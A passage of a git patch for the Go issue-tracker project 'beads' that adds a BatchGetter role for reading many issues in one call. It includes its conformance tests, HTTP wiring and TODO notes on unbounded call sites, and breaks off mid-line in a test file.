green: last-mention, sort, trim, in-place dedupe, blank-before-cap, >=, nil Missing, nil Issues, dedupe-before-validate and validate-after-query. - httpapi: TestSpecDefaultsMatchSharedConstants now checks ids.maxItems against the enforced bound on the two request bodies that carry an `ids` list: batchGetIssues against issueops.MaxGetManyIDs, and deleteIssues against maxDeleteIDs. Each body is reached through its operation's own requestBody $ref. Setting either constant to 999 turns only this test red. The spec's other list caps (batch create/close/apply items, dependency edge lists) stay ungated, as before. - cmd/bd/serve.go: the batchGetter field comment said its accessor "does NOT recurse through the hook decorator". HookFiringStore. BatchGetter does recurse to the inner getter; it just doesn't wrap the result. The comment now says that. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 --- .../scripts/embedded-storage-test-shards.txt | 1 + backend/conformance/BUILD.bazel | 1 + backend/conformance/batch_getter_contract.go | 419 ++++++++++++++++++ cmd/bd/export_auto.go | 4 + cmd/bd/import_shared.go | 5 + cmd/bd/mol_current.go | 3 + cmd/bd/mol_port.go | 6 + cmd/bd/ready.go | 3 + cmd/bd/ready_proxied_server.go | 3 + cmd/bd/serve.go | 23 +- cmd/bd/serve_source_test.go | 14 + cmd/bd/serve_store_identity_test.go | 9 + cmd/bd/wisp.go | 3 + internal/httpapi/BUILD.bazel | 2 + internal/httpapi/apigen/types.gen.go | 29 +- internal/httpapi/batch_get.go | 165 +++++++ internal/httpapi/batch_get_test.go | 303 +++++++++++++ internal/httpapi/claim.go | 7 + internal/httpapi/pinning.go | 2 + internal/httpapi/problem.go | 13 + internal/httpapi/roles_test.go | 31 ++ internal/httpapi/routes.go | 13 + internal/httpapi/server.go | 29 +- internal/httpapi/spec/openapi.v0.yaml | 392 +++++++++++++++- internal/httpapi/spec_parity_test.go | 26 ++ .../httpapi/wireshape/testdata/golden.json | 378 ++++++++++++++++ internal/httpclient/encode/oracle_test.go | 2 + internal/httpclient/wire/handshake.go | 4 + internal/httpclient/wire/paths.go | 1 + .../httpclient/wire/revision_tolerance.go | 4 +- .../wire/revision_tolerance_test.go | 34 +- internal/httpclient/wire/skew_test.go | 16 +- internal/httpclient/wire/vocabulary_test.go | 1 + internal/storage/BUILD.bazel | 1 + internal/storage/dolt/BUILD.bazel | 2 + .../dolt/batch_getter_contract_test.go | 91 ++++ internal/storage/dolt/batchgetter.go | 45 ++ internal/storage/domain/db/issue.go | 8 + internal/storage/domain/issue.go | 17 + internal/storage/embeddeddolt/BUILD.bazel | 2 + .../batch_getter_contract_test.go | 82 ++++ internal/storage/embeddeddolt/batchgetter.go | 44 ++ .../storage/externaldeps/uow_decorator.go | 5 +- internal/storage/hook_batch_getter.go | 17 + internal/storage/issueops/BUILD.bazel | 2 + internal/storage/issueops/batchget.go | 107 +++++ internal/storage/issueops/batchget_test.go | 136 ++++++ .../storage/role_accessor_decorator_test.go | 10 + internal/storage/storage.go | 6 + internal/storage/uow/BUILD.bazel | 2 + .../storage/uow/batch_getter_contract_test.go | 94 ++++ internal/storage/uow/batchgetter.go | 44 ++ internal/storage/uow/notifying.go | 5 + internal/storage/uow/notifying_parity_test.go | 1 + internal/telemetry/BUILD.bazel | 1 + internal/telemetry/batch_getter.go | 36 ++ .../telemetry/role_accessor_decorator_test.go | 8 + internal/types/types.go | 21 + issue_roles_external_test.go | 29 ++ issueops/BUILD.bazel | 1 + issueops/batchgetter.go | 149 +++++++ 61 files changed, 2886 insertions(+), 26 deletions(-) create mode 100644 backend/conformance/batch_getter_contract.go create mode 100644 internal/httpapi/batch_get.go create mode 100644 internal/httpapi/batch_get_test.go create mode 100644 internal/storage/dolt/batch_getter_contract_test.go create mode 100644 internal/storage/dolt/batchgetter.go create mode 100644 internal/storage/embeddeddolt/batch_getter_contract_test.go create mode 100644 internal/storage/embeddeddolt/batchgetter.go create mode 100644 internal/storage/hook_batch_getter.go create mode 100644 internal/storage/issueops/batchget.go create mode 100644 internal/storage/issueops/batchget_test.go create mode 100644 internal/storage/uow/batch_getter_contract_test.go create mode 100644 internal/storage/uow/batchgetter.go create mode 100644 internal/telemetry/batch_getter.go create mode 100644 issueops/batchgetter.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 1502ba993..9d033d94a 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -353,6 +353,7 @@ 15 8 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone 15 8 TestTransactionCleanupAfterSQLCommitIsIndeterminate +15 9 TestBatchGetterContract 15 9 TestCommenterContract 15 9 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes 15 9 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 89773dfbd..1bd7e0271 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "batch_apply_contract.go", "batch_closer_contract.go", "batch_creator_contract.go", + "batch_getter_contract.go", "blocked_state.go", "blocking_annotator_contract.go", "bootstrapper_contract.go", diff --git a/backend/conformance/batch_getter_contract.go b/backend/conformance/batch_getter_contract.go new file mode 100644 index 000000000..6cfdd6590 --- /dev/null +++ b/backend/conformance/batch_getter_contract.go @@ -0,0 +1,419 @@ +package conformance + +import ( + "context" + "errors" + "fmt" + "testing" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// This file holds the contract every implementation of publicops.BatchGetter +// must satisfy. Each case asserts what issueops/batchgetter.go PROMISES, cited +// by symbol; a backend that disagrees is parked at its own wiring site with +// skipKnownDivergence so the case still runs on the ones that agree. +// +// THREE LEGS, ONE BODY, GraphCounterFixture's reason: all three reach the same +// storage/issueops.ExecuteGetMany, which itself reaches GetIssuesByIDsInTx for +// the actual read. The two stores wrap it in their own read transaction, and +// the unit-of-work provider reaches it through the domain repository, whose +// runner publishes exactly the DBTX method set that function takes. So a +// three-leg run here is ONE READING plus two engine checks and three wrapper +// checks, and the cases are written for that: they assert the result's shape +// and order rather than message text, so a wrapper that loses the request, +// drops ordering or breaks errors.Is is what a per-leg failure would actually +// be. +// +// EVERY CASE NAMES THE EXACT IDS IT SEEDED, GraphCounterFixture's reason: the +// three fixtures share one database per suite and the two store fixtures share +// it with every other role's cases. +type BatchGetterFixture struct { + // IssuePrefix namespaces the ids each assertion seeds, so several of them + // can share one database. + IssuePrefix string + BatchGetter publicops.BatchGetter + // CreateIssue seeds a durable issue in the issues plane. + CreateIssue func(context.Context, *types.Issue, string) error + // CreateWisp seeds an ephemeral issue in the wisps plane. It is a separate + // field rather than an Ephemeral flag on CreateIssue because the three + // adapters reach the two planes through different verbs. + CreateWisp func(context.Context, *types.Issue, string) error + // CountHistory reports how many history entries the fixture's branch has. + // A nil hook means "this backend cannot observe history", and the case that + // needs it SKIPS rather than passing quietly. + CountHistory func(context.Context) (int, error) +} + +// RunBatchGetterFindsRequestedIssues pins the found half of GetManyResult: an +// id a GetManyRequest names and the store holds comes back hydrated, with the +// id that resolved it. +func RunBatchGetterFindsRequestedIssues(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + first := fixture.IssuePrefix + "-found-a" + second := fixture.IssuePrefix + "-found-b" + seedBatchGetterIssues(t, ctx, fixture, first, second) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{first, second}}) + assertBatchGetterIssueIDs(t, result, first, second) + assertBatchGetterMissingIDs(t, result) +} + +// RunBatchGetterReportsMissingIDs pins GetManyResult.Missing: an id naming no +// stored row is reported there, beside whatever else resolved, rather than +// refusing the whole call. The ghost sits BETWEEN two real ids, the same +// placement RunGraphCounterDistinguishesNoEdgesFromNoAnchor uses, so a body +// that short-circuited on the first miss cannot pass by accident. +func RunBatchGetterReportsMissingIDs(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + first := fixture.IssuePrefix + "-missing-real1" + ghost := fixture.IssuePrefix + "-missing-ghost" + second := fixture.IssuePrefix + "-missing-real2" + seedBatchGetterIssues(t, ctx, fixture, first, second) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{first, ghost, second}}) + assertBatchGetterIssueIDs(t, result, first, second) + assertBatchGetterMissingIDs(t, result, ghost) +} + +// RunBatchGetterCollapsesRepeatedIDs pins GetManyRequest.IDs's repeats clause: +// an id named twice is one entry, at the position of its first mention. The +// repeat is placed AFTER a different id, RunGraphCounterCollapsesRepeatedAnchors' +// reason: a body that de-duplicated by sorting rather than by first mention +// would answer b, a instead of a, b. +func RunBatchGetterCollapsesRepeatedIDs(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + first := fixture.IssuePrefix + "-dup-b" + second := fixture.IssuePrefix + "-dup-a" + seedBatchGetterIssues(t, ctx, fixture, first, second) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{ + IDs: []string{first, second, first, second, first}, + }) + assertBatchGetterIssueIDs(t, result, first, second) +} + +// RunBatchGetterAnswersInRequestOrder pins GetManyResult.Issues' ordering +// clause: the answer comes back in the REQUEST's order, never the storage +// engine's natural order. The ids are seeded in the opposite order from the one +// requested, so a body that forwarded the storage engine's order would fail. +func RunBatchGetterAnswersInRequestOrder(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + first := fixture.IssuePrefix + "-order-c" + second := fixture.IssuePrefix + "-order-b" + third := fixture.IssuePrefix + "-order-a" + // Seeded in storage order third, second, first — the reverse of the + // request below — so a body that forwarded insertion order would fail. + seedBatchGetterIssues(t, ctx, fixture, third, second, first) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{first, second, third}}) + assertBatchGetterIssueIDs(t, result, first, second, third) +} + +// RunBatchGetterResolvesIDsExactly pins the exactness GetManyRequest.IDs +// documents: a prefix of a real id and a real id padded with whitespace are +// both reported Missing rather than resolved, the same exactness +// RunGraphCounterResolvesIDsExactly pins for EdgeCountRequest.IDs. +func RunBatchGetterResolvesIDsExactly(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + real := fixture.IssuePrefix + "-exact-real" + seedBatchGetterIssues(t, ctx, fixture, real) + + prefix := real[:len(real)-2] + spaced := " " + real + " " + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{real, prefix, spaced}}) + assertBatchGetterIssueIDs(t, result, real) + assertBatchGetterMissingIDs(t, result, prefix, spaced) +} + +// RunBatchGetterAnswersAnEmptyRequest pins GetManyRequest.IDs's empty-slice +// clause: no ids is not an error, it is an answer with no issues — and both +// slices are never nil, so a front door that marshals them emits [] rather +// than null. +func RunBatchGetterAnswersAnEmptyRequest(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + result, err := fixture.BatchGetter.GetMany(ctx, publicops.GetManyRequest{}) + if err != nil { + t.Fatalf("GetMany with no ids = %v, want an empty answer", err) + } + if len(result.Issues) != 0 { + t.Fatalf("GetMany with no ids returned %d issues, want none", len(result.Issues)) + } + if result.Issues == nil { + t.Error("Issues is nil; the contract promises it is never nil for a successful call") + } + if result.Missing == nil { + t.Error("Missing is nil; the contract promises it is never nil for a successful call") + } +} + +// RunBatchGetterRefusesAnUnusableRequest pins the request vocabulary +// ValidateGetManyRequest applies: an empty-string id is refused with +// ErrValidation. +func RunBatchGetterRefusesAnUnusableRequest(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + real := fixture.IssuePrefix + "-refuse-real" + seedBatchGetterIssues(t, ctx, fixture, real) + + _, err := fixture.BatchGetter.GetMany(ctx, publicops.GetManyRequest{IDs: []string{real, ""}}) + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("GetMany with an empty id beside a real one = %v, want ErrValidation", err) + } +} + +// RunBatchGetterRefusesOverTheCap pins MaxGetManyIDs: a request naming more +// ids than the cap is refused with a *publicops.TooManyIDsError that wraps +// ErrValidation, counted on the request as sent, BEFORE deduplication — the +// request below repeats one id past the cap, so a body that checked the +// deduplicated count would wrongly let it through. +func RunBatchGetterRefusesOverTheCap(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + real := fixture.IssuePrefix + "-cap-real" + seedBatchGetterIssues(t, ctx, fixture, real) + + ids := make([]string, publicops.MaxGetManyIDs+1) + for i := range ids { + ids[i] = real + } + _, err := fixture.BatchGetter.GetMany(ctx, publicops.GetManyRequest{IDs: ids}) + var tooMany *publicops.TooManyIDsError + if !errors.As(err, &tooMany) { + t.Fatalf("GetMany over the cap = %v, want *publicops.TooManyIDsError", err) + } + if tooMany.Requested != len(ids) { + t.Errorf("TooManyIDsError.Requested = %d, want %d (the count before deduplication)", tooMany.Requested, len(ids)) + } + if tooMany.Cap != publicops.MaxGetManyIDs { + t.Errorf("TooManyIDsError.Cap = %d, want %d", tooMany.Cap, publicops.MaxGetManyIDs) + } + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("GetMany over the cap = %v, want it to also match ErrValidation", err) + } +} + +// RunBatchGetterAcceptsExactlyTheCap pins the boundary MaxGetManyIDs draws: +// a request naming EXACTLY the cap's worth of distinct ids is accepted and +// answered in full, not refused. RunBatchGetterRefusesOverTheCap pins the +// cap+1 side of this line; without this case a `>` to `>=` mutation on the +// comparison would still refuse a one-over request (cap+1 is still > cap-1) +// and pass that case while silently refusing every legitimate cap-sized +// request. +func RunBatchGetterAcceptsExactlyTheCap(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + ids := make([]string, publicops.MaxGetManyIDs) + for i := range ids { + ids[i] = fmt.Sprintf("%s-atcap-%d", fixture.IssuePrefix, i) + } + seedBatchGetterIssues(t, ctx, fixture, ids...) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: ids}) + if len(result.Issues) != publicops.MaxGetManyIDs { + t.Fatalf("GetMany with exactly MaxGetManyIDs (%d) ids returned %d issues, want %d", + publicops.MaxGetManyIDs, len(result.Issues), publicops.MaxGetManyIDs) + } + assertBatchGetterMissingIDs(t, result) +} + +// RunBatchGetterHydratesLabels pins that a resolved issue's Labels come back +// populated: hydration for this role is LABELS ONLY (no dependencies, +// dependents or comments — issueops.GetManyResult.Issues documents the +// scope), so Labels is the one piece of relational data a regression here +// could silently drop without any other case noticing. +func RunBatchGetterHydratesLabels(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + id := fixture.IssuePrefix + "-labels-a" + seed := batchGetterSeed(id, false) + seed.Labels = []string{"alpha", "beta"} + if err := fixture.CreateIssue(ctx, seed, "batch-getter-seed"); err != nil { + t.Fatalf("seed issue %s: %v", id, err) + } + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{id}}) + assertBatchGetterIssueIDs(t, result, id) + got := result.Issues[0].Labels + want := []string{"alpha", "beta"} + if len(got) != len(want) { + t.Fatalf("GetMany(%s).Labels = %v, want %v", id, got, want) + } + seen := make(map[string]bool, len(got)) + for _, l := range got { + seen[l] = true + } + for _, l := range want { + if !seen[l] { + t.Errorf("GetMany(%s).Labels = %v, want it to include %q", id, got, l) + } + } +} + +// RunBatchGetterLeavesTheRequestAlone pins the no-mutation clause on +// BatchGetter: IDs is the one member a body could write through to the caller +// — de-duplication is exactly the step that would — and the contract says a +// body de-duplicates into its own copy. +func RunBatchGetterLeavesTheRequestAlone(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + first := fixture.IssuePrefix + "-immutable-a" + second := fixture.IssuePrefix + "-immutable-b" + seedBatchGetterIssues(t, ctx, fixture, first, second) + + ids := []string{first, first, second} + getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: ids}) + + if len(ids) != 3 || ids[0] != first || ids[1] != first || ids[2] != second { + t.Errorf("the request's IDs slice is now %v; the contract says a body de-duplicates into its own copy", ids) + } +} + +// RunBatchGetterSharesOneReadStructurally pins the STRUCTURAL half of the +// one-snapshot clause on BatchGetter.GetMany: the existence check and the +// hydration are one call answering one found id and one missing id together +// against a STATIC fixture, which is consistent with — but does not by +// itself PROVE — the two sharing one transaction under a concurrent writer. +// A body that split the probe from the hydration into two round trips could +// still pass this case against a fixture nothing else is mutating, so it +// checks both halves of one GetManyResult instead of asserting on two +// separate calls the way RunBatchGetterFindsRequestedIssues and +// RunBatchGetterReportsMissingIDs do, but it is NOT a concurrency test: no +// writer races the read here. +// +// Renamed from RunBatchGetterReadsOneSnapshot, which overclaimed an +// atomicity guarantee this case alone does not empirically demonstrate. A +// real interleaving test — a concurrent writer racing GetMany's transaction +// so the case can show a found id and a racing create or delete resolve +// consistently with ONE snapshot boundary — needs a synchronization hook +// (e.g. "pause this leg's read transaction after its query, before it +// returns, so a second goroutine can write and commit") that roleFixtureKit +// does not expose today; that kit is FROZEN (see role_fixture_kit_test.go) +// and a role slice does not edit it. Adding the hook is tracked as follow-up +// work rather than done here, so this case stays honestly structural. +func RunBatchGetterSharesOneReadStructurally(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + present := fixture.IssuePrefix + "-snapshot-present" + ghost := fixture.IssuePrefix + "-snapshot-ghost" + seedBatchGetterIssues(t, ctx, fixture, present) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{present, ghost}}) + if len(result.Issues) != 1 || len(result.Missing) != 1 { + t.Fatalf("GetMany([%s, %s]) = %d issues, %d missing; want exactly one of each from the same read", + present, ghost, len(result.Issues), len(result.Missing)) + } + assertBatchGetterIssueIDs(t, result, present) + assertBatchGetterMissingIDs(t, result, ghost) +} + +// RunBatchGetterCrossesBothPlanes pins that GetMany resolves ids regardless of +// which dependency plane stores them: a durable issue and an ephemeral wisp +// named in the same request both come back hydrated. +func RunBatchGetterCrossesBothPlanes(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + issue := fixture.IssuePrefix + "-plane-issue" + wisp := fixture.IssuePrefix + "-plane-wisp" + seedBatchGetterIssues(t, ctx, fixture, issue) + seedBatchGetterWisp(t, ctx, fixture, wisp) + + result := getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{issue, wisp}}) + assertBatchGetterIssueIDs(t, result, issue, wisp) +} + +// RunBatchGetterWritesNothing pins BatchGetter's read clause: a GetMany +// records no history entry. The delta is taken around the calls rather than as +// an absolute count, RunGraphCounterWritesNothing's reason: the seeds above it +// are versioned writes of their own. +func RunBatchGetterWritesNothing(t *testing.T, ctx context.Context, fixture BatchGetterFixture) { + t.Helper() + if fixture.CountHistory == nil { + t.Skip("this backend cannot observe history, so the writes-nothing clause cannot be checked here") + } + real := fixture.IssuePrefix + "-quiet-real" + ghost := fixture.IssuePrefix + "-quiet-ghost" + seedBatchGetterIssues(t, ctx, fixture, real) + + before, err := fixture.CountHistory(ctx) + if err != nil { + t.Fatalf("CountHistory before: %v", err) + } + getMany(t, ctx, fixture, publicops.GetManyRequest{IDs: []string{real, ghost}}) + // A refusal changes nothing either, so the same delta covers both. + _, _ = fixture.BatchGetter.GetMany(ctx, publicops.GetManyRequest{IDs: []string{""}}) + after, err := fixture.CountHistory(ctx) + if err != nil { + t.Fatalf("CountHistory after: %v", err) + } + if after != before { + t.Fatalf("history entries went %d -> %d across two GetMany calls, want no change", before, after) + } +} + +func getMany(t *testing.T, ctx context.Context, fixture BatchGetterFixture, request publicops.GetManyRequest) publicops.GetManyResult { + t.Helper() + result, err := fixture.BatchGetter.GetMany(ctx, request) + if err != nil { + t.Fatalf("GetMany(%v): %v", request.IDs, err) + } + return result +} + +func seedBatchGetterIssues(t *testing.T, ctx context.Context, fixture BatchGetterFixture, ids ...string) { + t.Helper() + for _, id := range ids { + if err := fixture.CreateIssue(ctx, batchGetterSeed(id, false), "batch-getter-seed"); err != nil { + t.Fatalf("seed issue %s: %v", id, err) + } + } +} + +func seedBatchGetterWisp(t *testing.T, ctx context.Context, fixture BatchGetterFixture, id string) { + t.Helper() + if err := fixture.CreateWisp(ctx, batchGetterSeed(id, true), "batch-getter-seed"); err != nil { + t.Fatalf("seed wisp %s: %v", id, err) + } +} + +func batchGetterSeed(id string, ephemeral bool) *types.Issue { + return &types.Issue{ + ID: id, + Title: id, + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Ephemeral: ephemeral, + } +} + +func batchGetterIssueIDs(result publicops.GetManyResult) []string { + out := make([]string, 0, len(result.Issues)) + for _, issue := range result.Issues { + out = append(out, issue.ID) + } + return out +} + +func assertBatchGetterIssueIDs(t *testing.T, result publicops.GetManyResult, want ...string) { + t.Helper() + got := batchGetterIssueIDs(result) + if len(got) != len(want) { + t.Fatalf("issues = %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("issues = %v, want %v", got, want) + } + } +} + +func assertBatchGetterMissingIDs(t *testing.T, result publicops.GetManyResult, want ...string) { + t.Helper() + got := result.Missing + if len(got) != len(want) { + t.Fatalf("missing = %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("missing = %v, want %v", got, want) + } + } + if got == nil { + t.Error("Missing is nil; the contract promises it is never nil for a successful call") + } +} diff --git a/cmd/bd/export_auto.go b/cmd/bd/export_auto.go index 95f8ca705..e8fd4807c 100644 --- a/cmd/bd/export_auto.go +++ b/cmd/bd/export_auto.go @@ -1272,6 +1272,10 @@ func tryIncrementalExport(ctx context.Context, fullPath, fromCommit, toCommit st var records map[string][]byte droppedByFilter := make(map[string]bool) if len(upsertIDs) > 0 { + // TODO(batchgetter): this read is unbounded; issueops.BatchGetter caps a + // request at MaxGetManyIDs (1000) and this call site has not been + // audited for id volume or given chunking, so it still goes through + // GetIssuesByIDs rather than the role. See issueops.BatchGetter's doc. issues, fetchErr := store.GetIssuesByIDs(ctx, upsertIDs) if fetchErr != nil { return 0, 0, nil, false, fmt.Errorf("GetIssuesByIDs: %w", fetchErr) diff --git a/cmd/bd/import_shared.go b/cmd/bd/import_shared.go index 7e0c9cce8..85d39f78a 100644 --- a/cmd/bd/import_shared.go +++ b/cmd/bd/import_shared.go @@ -110,6 +110,11 @@ type ImportChange struct { // classifiers need. The classic storage.DoltStorage satisfies it, and so does // the proxied unit of work's domain.IssueUseCase, so both modes classify // incoming rows against local state with the same code. +// TODO(batchgetter): both callers below read an unbounded id list through +// this interface; issueops.BatchGetter caps a request at MaxGetManyIDs +// (1000) and neither call site has been audited for id volume or given +// chunking, so this interface still names GetIssuesByIDs rather than the +// role. See issueops.BatchGetter's doc. type importIssueLookup interface { GetIssuesByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) } diff --git a/cmd/bd/mol_current.go b/cmd/bd/mol_current.go index 2969db871..f3d92d33f 100644 --- a/cmd/bd/mol_current.go +++ b/cmd/bd/mol_current.go @@ -457,6 +457,9 @@ func findParentMolecules(ctx context.Context, s molReader, issueIDs []string) ma rootIDs = append(rootIDs, id) } + // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and + // the importIssueLookup TODO in import_shared.go for why this is not yet + // routed through the role. rootIssues, err := s.GetIssuesByIDs(ctx, rootIDs) if err != nil { return nil diff --git a/cmd/bd/mol_port.go b/cmd/bd/mol_port.go index 1e314328b..e915f9030 100644 --- a/cmd/bd/mol_port.go +++ b/cmd/bd/mol_port.go @@ -14,6 +14,12 @@ import ( "github.com/steveyegge/beads/internal/workapi" ) +// TODO(batchgetter): GetIssuesByIDs below reads an unbounded id list; +// issueops.BatchGetter caps a request at MaxGetManyIDs (1000) and this +// interface's one implementation (uowMolReader) has not been audited for id +// volume or given chunking, so it still forwards to +// IssueUseCase().GetIssuesByIDs rather than GetMany. See +// issueops.BatchGetter's doc. type molReader interface { GetIssue(ctx context.Context, id string) (*types.Issue, error) GetIssuesByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 7c6ccdc66..71b1e8f22 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -567,6 +567,9 @@ func runReadyExplain(_ *cobra.Command) error { } // Build ready items with explanations + // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and + // the importIssueLookup TODO in import_shared.go for why this is not yet + // routed through the role. blockerIssues, err := activeStore.GetIssuesByIDs(ctx, blockerIDList) if err != nil { debug.Logf("warning: failed to get blocker issues: %v", err) diff --git a/cmd/bd/ready_proxied_server.go b/cmd/bd/ready_proxied_server.go index 2b2734c59..97180dee8 100644 --- a/cmd/bd/ready_proxied_server.go +++ b/cmd/bd/ready_proxied_server.go @@ -330,6 +330,9 @@ func runReadyProxiedExplain(ctx context.Context, uw uow.UnitOfWork, _ readyInput for id := range allBlockerIDs { blockerIDList = append(blockerIDList, id) } + // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and + // the importIssueLookup TODO in import_shared.go for why this is not yet + // routed through GetMany. blockerIssues, err := uw.IssueUseCase().GetIssuesByIDs(ctx, blockerIDList) if err != nil { debug.Logf("warning: failed to get blocker issues: %v", err) diff --git a/cmd/bd/serve.go b/cmd/bd/serve.go index 3110191da..fd5b1ad76 100644 --- a/cmd/bd/serve.go +++ b/cmd/bd/serve.go @@ -317,6 +317,7 @@ func runServe() error { CycleDetector: roles.cycles, EdgeReader: roles.edges, GraphCounter: roles.edgeCounter, + BatchGetter: roles.batchGetter, Relations: roles.relations, Commenter: roles.commenter, BlockingAnnotator: roles.blocking, @@ -672,6 +673,7 @@ type serveRoleSource interface { CycleDetector() (issueops.CycleDetector, error) EdgeReader() (issueops.EdgeReader, error) GraphCounter() (issueops.GraphCounter, error) + BatchGetter() (issueops.BatchGetter, error) IssueRelations() (issueops.Relations, error) Commenter() (issueops.Commenter, error) BlockingAnnotator() (issueops.BlockingAnnotator, error) @@ -738,6 +740,7 @@ func serveIssueRoles(src serveRoleSource, journalEnabled bool) (serveRoles, erro {"cycle detector", func() (err error) { roles.cycles, err = src.CycleDetector(); return }}, {"edge reader", func() (err error) { roles.edges, err = src.EdgeReader(); return }}, {"graph counter", func() (err error) { roles.edgeCounter, err = src.GraphCounter(); return }}, + {"batch getter", func() (err error) { roles.batchGetter, err = src.BatchGetter(); return }}, {"issue relations", func() (err error) { roles.relations, err = src.IssueRelations(); return }}, {"commenter", func() (err error) { roles.commenter, err = src.Commenter(); return }}, {"blocking annotator", func() (err error) { roles.blocking, err = src.BlockingAnnotator(); return }}, @@ -838,13 +841,19 @@ type serveRoles struct { // hook decorator like the two below it — a release is an update, so // HookFiringStore.Releaser fires the workspace's on_update script — which // is why it comes off the PEELED store with the rest. - releaser issueops.Releaser - lifecycle issueops.Lifecycle - settings issueops.WorkspaceConfig - stats issueops.StatsReporter - cycles issueops.CycleDetector - edges issueops.EdgeReader - edgeCounter issueops.GraphCounter + releaser issueops.Releaser + lifecycle issueops.Lifecycle + settings issueops.WorkspaceConfig + stats issueops.StatsReporter + cycles issueops.CycleDetector + edges issueops.EdgeReader + edgeCounter issueops.GraphCounter + // batchGetter is the one-snapshot, many-ids read behind + // POST /v0/beads/issues:batchGet. Its hook decorator recurses to the inner + // getter WITHOUT wrapping it — a read fires no completion hooks — so it is + // taken off the peeled store with the rest for uniformity rather than out + // of necessity. + batchGetter issueops.BatchGetter relations issueops.Relations commenter issueops.Commenter blocking issueops.BlockingAnnotator diff --git a/cmd/bd/serve_source_test.go b/cmd/bd/serve_source_test.go index b44d6d91c..a0abf2235 100644 --- a/cmd/bd/serve_source_test.go +++ b/cmd/bd/serve_source_test.go @@ -106,6 +106,7 @@ func TestServeIssueRolesComeFromBeneathTheHookDecorator(t *testing.T) { metadataCAS: &serveStubMetadataCAS{}, counter: &serveStubCounter{}, edgeCounter: &serveStubGraphCounter{}, + batchGetter: &serveStubBatchGetter{}, relations: &serveStubRelations{}, commenter: &serveStubCommenter{}, batchCreator: &serveStubBatchCreator{}, @@ -411,6 +412,7 @@ type serveRolesStore struct { metadataCAS *serveStubMetadataCAS counter *serveStubCounter edgeCounter *serveStubGraphCounter + batchGetter *serveStubBatchGetter relations *serveStubRelations commenter *serveStubCommenter batchCreator *serveStubBatchCreator @@ -519,6 +521,10 @@ func (s *serveRolesStore) Counter() (issueops.Counter, error) { return s.counter // moment the binding landed. func (s *serveRolesStore) GraphCounter() (issueops.GraphCounter, error) { return s.edgeCounter, nil } +// BatchGetter is declared for GraphCounter's reason: the many-ids read is also +// a read, so hook_batch_getter.go recurses and the recursion lands here. +func (s *serveRolesStore) BatchGetter() (issueops.BatchGetter, error) { return s.batchGetter, nil } + // IssueRelations is the FIRST role added to serveIssueRoles since this type // stopped embedding a nil store, and it is worth recording what that changed — // because the two comments above it describe the old regime and are now history @@ -587,6 +593,14 @@ func (*serveStubGraphCounter) CountEdges(context.Context, issueops.EdgeCountRequ return issueops.EdgeCountResult{}, errors.ErrUnsupported } +// serveStubBatchGetter is the many-ids read role's stand-in, ErrUnsupported +// like every stub here. +type serveStubBatchGetter struct{} + +func (*serveStubBatchGetter) GetMany(context.Context, issueops.GetManyRequest) (issueops.GetManyResult, error) { + return issueops.GetManyResult{}, errors.ErrUnsupported +} + // serveStubCounter is the count role's stand-in. It answers ErrUnsupported like // every stub here: this file's subject is which LAYER a role comes from, never // what the role answers. diff --git a/cmd/bd/serve_store_identity_test.go b/cmd/bd/serve_store_identity_test.go index dc69978ed..322adc4c3 100644 --- a/cmd/bd/serve_store_identity_test.go +++ b/cmd/bd/serve_store_identity_test.go @@ -235,6 +235,14 @@ func (*serveIdentityStore) GraphCounter() (issueops.GraphCounter, error) { return serveIdentityRole{}, nil } +// BatchGetter is declared at depth 1 for GraphCounter's reason: the many-ids +// read is also a read, so its hook decorator (hook_batch_getter.go) recurses +// and the recursion would land on a nil-embedded promotion if this were not +// here. +func 